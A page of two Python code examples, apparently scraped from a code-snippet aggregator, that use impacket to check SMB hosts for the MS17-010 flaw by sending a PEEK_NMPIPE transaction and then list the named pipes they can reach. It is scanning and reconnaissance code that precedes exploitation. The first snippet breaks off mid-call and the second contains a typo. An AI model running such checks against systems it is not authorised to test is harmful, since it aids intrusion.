    'spoolss': MSRPC_UUID_SPOOLSS,
    'netlogon': MSRPC_UUID_NETLOGON,
    'lsarpc': MSRPC_UUID_LSARPC,
    'samr': MSRPC_UUID_SAMR,
}

if len(sys.argv) != 2:
    print("{} <ip>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target)
try:
    conn.login(USERNAME, PASSWORD)
except smb.SessionError as e:
    print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
    sys.exit()
finally:
    print('Target OS: ' + conn.get_server_os())

tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)

# test if target is vulnerable
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                          maxParameterCount=0xffff,
Пример #36
0
def run(target):
    try:
        try:
            logger.verbose('Attempting to connect to %s' % logger.BLUE(target))
            conn = MYSMB(target, timeout=5)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
            logger.verbose('Got error whilst connecting: %s' %
                           logger.BLUE(str(e)))
            return False
        try:
            # login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None)
            # can add passthehash at some point
            logger.verbose('Attempting to authenticate to %s' %
                           logger.BLUE(target))
            conn.login(username, password, domain)
            logger.verbose('Successfully authenticated to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        try:
            logger.verbose('Attempting to get OS for %s' % logger.BLUE(target))
            OS = conn.get_server_os()
            logger.verbose('Got Operting System: %s' % logger.BLUE(OS))
        except Exception as e:
            logger.verbose('Got error whilst getting Operting System: %s' %
                           logger.BLUE(str(e)))
            logger.red('Failed to obtain operating system')

        try:
            tree_connect_andx = '\\\\' + target + '\\' + 'IPC$'
            logger.verbose('Attempting to connect to %s' %
                           logger.BLUE(tree_connect_andx))
            tid = conn.tree_connect_andx(tree_connect_andx)
            conn.set_default_tid(tid)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(tree_connect_andx))

        except Exception as e:
            logger.verbose('Got error whilst connecting to %s: %s' %
                           (tree_connect_andx, logger.BLUE(str(e))))
            return False

        # test if target is vulnerable
        logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target))
        try:
            TRANS_PEEK_NMPIPE = 0x23
            recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                      maxParameterCount=0xffff,
                                      maxDataCount=0x800)
            status = recvPkt.getNTStatus()
            if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
                logger.green('[%s] VULNERABLE' % logger.GREEN(target))
                vulnerable[target] = []
            else:
                logger.red('[%s] PATCHED' % logger.RED(target))
        except Exception as e:
            logger.verbose(
                'Got error whilst checking vulnerability status %s' %
                logger.BLUE(str(e)))
            return Falses

        pipes_found = []

        if target in vulnerable:
            logger.verbose('Checking pipes on %s' % logger.BLUE(target))
            for pipe_name, pipe_uuid in pipes.items():
                try:
                    dce = conn.get_dce_rpc(pipe_name)
                    dce.connect()
                    try:
                        dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                        try:
                            pipes_found.append(pipe_name)
                        except Exception as e:
                            logger.verbose(
                                'Got error whilst appending pipe to list %s' %
                                logger.BLUE(str(e)))
                            pass
                    except DCERPCException as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        if 'transfer_syntaxes_not_supported' in str(e):
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                        else:
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                    except Exception as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        pass
                    finally:
                        dce.disconnect()
                    vulnerable[target] = pipes_found
                except smb.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except smbconnection.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except Exception as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
        try:
            conn.disconnect_tree(tid)
            conn.logoff()
            conn.get_socket().close()
        except Exception as e:
            logger.verbose('Got error whilst disconnecting from rpc %s' %
                           logger.BLUE(str(e)))
            pass
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()